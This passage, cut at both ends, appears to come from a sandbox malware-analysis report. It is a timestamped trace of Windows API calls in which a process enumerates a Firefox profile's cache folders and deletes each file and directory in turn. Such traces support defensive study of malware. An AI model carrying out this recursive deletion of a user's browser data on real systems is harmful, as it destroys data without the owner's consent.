pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B", pszFile="2561Dd01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B\\2561Dd01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B\\2561Dd01" [0117.349] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B\\2561Dd01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\5\\1b\\2561dd01")) returned 1 [0117.353] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63636c30, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63636c30, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63636c30, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4738, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="2561Dd01", cAlternateFileName="")) returned 0 [0117.353] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.353] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.353] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.353] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.353] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\1B" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\5\\1b")) returned 1 [0117.354] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42d37460, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42d37460, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42d37460, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="9A", cAlternateFileName="")) returned 1 [0117.354] lstrlenW (lpString="9A") returned 2 [0117.354] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5", pszFile="9A" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A" [0117.354] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A") returned 84 [0117.354] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.354] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.354] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.354] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A\\*.*" [0117.354] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42d37460, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42d37460, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42d37460, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.354] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42d37460, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42d37460, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x42d37460, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.354] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42d37460, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42d37460, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x430ef6c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1352a6, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="28159d01", cAlternateFileName="")) returned 1 [0117.354] lstrlenW (lpString="28159d01") returned 8 [0117.354] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A", pszFile="28159d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A\\28159d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A\\28159d01" [0117.354] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A\\28159d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\5\\9a\\28159d01")) returned 1 [0117.355] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42d37460, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x42d37460, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x430ef6c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1352a6, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="28159d01", cAlternateFileName="")) returned 0 [0117.355] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.355] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.355] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.355] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.355] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\9A" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\5\\9a")) returned 1 [0117.355] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="F1", cAlternateFileName="")) returned 1 [0117.355] lstrlenW (lpString="F1") returned 2 [0117.355] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5", pszFile="F1" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1" [0117.355] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1") returned 84 [0117.355] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.355] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.355] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.355] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1\\*.*" [0117.355] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.355] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.355] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x5244, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C8C27d01", cAlternateFileName="")) returned 1 [0117.355] lstrlenW (lpString="C8C27d01") returned 8 [0117.355] PathCombineW (in: pszDest=0x9a6e480, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1", pszFile="C8C27d01" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1\\C8C27d01") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1\\C8C27d01" [0117.356] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1\\C8C27d01" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\5\\f1\\c8c27d01")) returned 1 [0117.356] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x5244, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="C8C27d01", cAlternateFileName="")) returned 0 [0117.356] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0117.356] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a95900 | out: hHeap=0x9770000) returned 1 [0117.356] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e690 | out: hHeap=0x9770000) returned 1 [0117.356] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0117.356] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5\\F1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\5\\f1")) returned 1 [0117.356] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6346dbb0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x6346dbb0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x6346dbb0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="F1", cAlternateFileName="")) returned 0 [0117.356] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.356] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.356] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.356] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.356] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\5" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\5")) returned 1 [0117.357] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40e45660, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="6", cAlternateFileName="")) returned 1 [0117.357] lstrlenW (lpString="6") returned 1 [0117.357] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="6" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\6") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\6" [0117.357] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\6") returned 81 [0117.357] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.357] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.357] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.357] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\6", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\6\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\6\\*.*" [0117.357] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\6\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40e45660, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.365] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40e45660, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.365] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40e45660, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x40e45660, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 0 [0117.365] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0117.365] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0117.365] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0117.365] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0117.365] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\6" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cache\\6")) returned 1 [0117.366] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf1b32120, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="7", cAlternateFileName="")) returned 1 [0117.366] lstrlenW (lpString="7") returned 1 [0117.366] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\", pszFile="7" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7" [0117.366] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7") returned 81 [0117.366] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0117.366] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xac) returned 0x9a6e990 [0117.366] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0117.366] PathCombineW (in: pszDest=0x9a6e990, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\*.*" [0117.366] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\*.*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf1b32120, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0117.369] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x40e45660, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf1b32120, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf1b32120, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="..", cAlternateFileName="")) returned 1 [0117.369] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63506130, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63506130, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63506130, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9aa5a3b0, dwReserved1=0x1d2fb14, cFileName="26", cAlternateFileName="")) returned 1 [0117.369] lstrlenW (lpString="26") returned 2 [0117.369] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7", pszFile="26" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26" [0117.369] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26") returned 84 [0117.369] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e480 [0117.369] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a6e690 [0117.369] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a95900 [0117.369] PathCombineW (in: pszDest=0x9a6e690, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26\\*.*" [0117.369] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\Cache\\7\\26\\*.*", lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63506130, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63506130, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63506130, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0117.369] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x63506130, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63506130, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63506130, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="..", cAlternateFileName="")) returned 1 [0117.369] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a95900 | out: lpFindFileData=0x9a95900*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63506130, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x63506130, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x63506130, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x144cd, dwReserved0=0x3c, dwReserved1=0x3a0043, cFileName="90EEBd01", cAlternateFileName="")) returned 1 [0117.370] lstrlenW (lpString="90EEBd01") returned 8 [0117.370] PathCombineW (in: pszDest=0x9a6e480, 